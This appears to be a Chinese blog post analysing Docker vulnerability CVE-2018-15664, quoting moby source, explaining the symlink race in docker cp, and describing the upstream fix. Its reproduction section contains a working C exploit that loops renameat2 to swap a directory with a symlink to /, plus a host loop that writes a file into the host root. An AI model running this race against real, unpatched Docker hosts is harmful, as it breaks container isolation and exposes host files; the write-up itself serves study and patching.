CVE-2018-15664学习

漏洞分析

CVE-2018-15664是一个Docker漏洞,利用这个漏洞可以通过条件竞争攻击访问宿主系统的目录。

Docker在容器和宿主之间复制文件的时候,会先检查容器中的路径(源路径或目标路径)。如果路径是一个符号链接,就会替换成它指向的容器中的路径[1.1]:

func (daemon *Daemon) containerExtractToDir(container *container.Container, path string, copyUIDGID, noOverwriteDirNonDir bool, content io.Reader) (err error) {
    ......
    // The destination path needs to be resolved to a host path, with all
    // symbolic links followed in the scope of the container's rootfs. Note
    // that we do not use `container.ResolvePath(path)` here because we need
    // to also evaluate the last path element if it is a symlink. This is so
    // that you can extract an archive to a symlink that points to a directory.

    // Consider the given path as an absolute path in the container.
    absPath := archive.PreserveTrailingDotOrSeparator(
        driver.Join(string(driver.Separator()), path),
        path,
        driver.Separator())

    // This will evaluate the last path element if it is a symlink.
    resolvedPath, err := container.GetResourcePath(absPath)
    ......

    if err := extractArchive(driver, content, resolvedPath, options); err != nil {
        return err
    }

    daemon.LogContainerEvent(container, "extract-to-dir")

    return nil
}

在复制的过程中,Docker会chroot到目标路径,再解包文件[1.2]:

func untar() {
    ......
    if err := chroot(flag.Arg(0)); err != nil {
        fatal(err)
    }
    if err := archive.Unpack(os.Stdin, "/", options); err != nil {
        fatal(err)
    }
    ......
}

Docker是直接chroot到目标路径的,而不是chroot到容器根目录,因此容器中的符号链接可以指向宿主中的路径。如果路径在检查阶段是一个普通目录,而在chroot之前变成了一个符号链接,那么当Docker从容器复制文件到宿主时,就可以复制符号链接指向的宿主文件;从宿主复制文件到容器时,也可以复制到符号链接指向的宿主路径。

漏洞复现

系统:Ubuntu 18.04
Docker:18.06.0

创建一个容器:

sudo docker run --name ubuntu -it ubuntu:18.04 bash

在容器中编译并运行exp:

#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/syscall.h>

int main()
{
    char *testsymlink = "/testsymlink";
    char *testdir = "/testdir";

    symlink("/", testsymlink);
    mkdir(testdir, 0755);

    while (1)
        syscall(__NR_renameat2, AT_FDCWD, testsymlink, AT_FDCWD, testdir, 2);
    return 0;
}

上述exp会创建一个/testdir目录和一个指向根目录的符号链接/testsymlink。接下来会一直循环交换符号链接和目录。
回到宿主,在当前目录($HOME)下创建一个文件testfile,内容为“123”。然后一直循环执行docker cp并读取宿主根目录下的testfile文件:

while true; do
    sudo docker cp ./testfile ubuntu:/testdir/testfile && cat /testfile && break
done

每次的复制操作可能会遇到以下几种情况:

1. 检查路径时/testdir是符号链接,解析为容器根目录,文件会被复制到容器根目录中;
2. 检查路径时以及复制时/testdir都是普通目录,文件会被直接复制到/testdir目录中;
3. 检查路径时/testdir是普通目录,复制时是符号链接,解析为宿主根目录,文件会被复制到宿主根目录中。

原本宿主的根目录下面是没有这个文件的,所以会一直循环并报错,而直到容器中的/testdir指向了宿主的根目录而非容器内的根目录时,才会将文件复制到宿主根目录的位置,使得这个文件可以被读取到,并结束循环。

官方修复

在复制之前,Docker会先chroot到容器根目录,这样符号链接就只能指向容器中的路径,而宿主的路径则不会被访问到[3.1]。

func untar() {
    ......
    dst := flag.Arg(0)
    var root string
    if len(flag.Args()) > 1 {
        root = flag.Arg(1)
    }

    if root == "" {
        root = dst
    }

    if err := chroot(root); err != nil {
        fatal(err)
    }
    ......
}

参考

[1.1] https://github.com/moby/moby/blob/v18.06.0-ce/daemon/archive.go#L265
[1.2] https://github.com/moby/moby/blob/v18.06.0-ce/pkg/chrootarchive/archive_unix.go#L22
[2.1] https://bugzilla.suse.com/show_bug.cgi?id=1096726
[2.2] https://bbs.kanxue.com/thread-272962.htm
[3.1] https://github.com/moby/moby/pull/39292

发表评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注